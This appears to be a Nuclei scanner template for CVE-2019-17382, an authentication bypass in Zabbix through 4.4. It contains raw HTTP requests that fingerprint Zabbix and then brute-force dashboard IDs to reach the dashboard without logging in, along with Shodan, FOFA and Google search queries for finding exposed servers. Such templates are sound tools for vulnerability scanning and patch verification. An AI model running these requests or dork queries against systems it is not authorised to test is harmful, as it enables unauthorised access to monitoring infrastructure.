Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
PoC代码[已公开]
id: CVE-2019-17382
info:
name: Zabbix <=4.4 - Authentication Bypass
author: harshbothra_
severity: critical
description: Zabbix through 4.4 is susceptible to an authentication bypass vulnerability via zabbix.php?action=dashboard.view&dashboardid=1. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
impact: |
Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the Zabbix application.
remediation: |
Upgrade to a patched version of Zabbix (>=4.4) to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/47467
- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
- https://lists.debian.org/debian-lts-announce/2023/08/msg00027.html
- https://github.com/huimzjty/vulwiki
- https://github.com/merlinepedra25/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2019-17382
cwe-id: CWE-639
epss-score: 0.93651
epss-percentile: 0.99838
cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
metadata:
max-request: 100
vendor: zabbix
product: zabbix
shodan-query:
- http.favicon.hash:892542951
- http.title:"zabbix-server"
- cpe:"cpe:2.3:a:zabbix:zabbix"
fofa-query:
- icon_hash=892542951
- app="zabbix-监控系统" && body="saml"
- title="zabbix-server"
google-query: intitle:"zabbix-server"
tags: cve2019,cve,auth-bypass,login,edb,zabbix
flow: http(1) && http(2)
http:
- raw:
- |
GET {{path}} HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- /
- /zabbix.php
- /zabbix/zabbix.php
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains_any(tolower(body), "<title>warning [refreshed every", "zabbix-logo", "content=\"zabbix sia")'
internal: true
- raw:
- |
GET {{path}}?action=dashboard.view&dashboardid={{ids}} HTTP/1.1
Host: {{Hostname}}
payloads:
path:
- /zabbix.php
- /zabbix/zabbix.php
ids: helpers/wordlists/numbers.txt
attack: clusterbomb
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- "<title>Dashboard</title>"
- type: status
status:
- 200
# digest: 4b0a00483046022100c86ea6e36d15c86d92396e5301a932629036682ae8d8ad81497c5fd142664db50221008d29c415b8d04b3d28e5db5be5675dbddb275c296a730840280ab043f57669e7:922c64590222798bb761d5b6d8e72950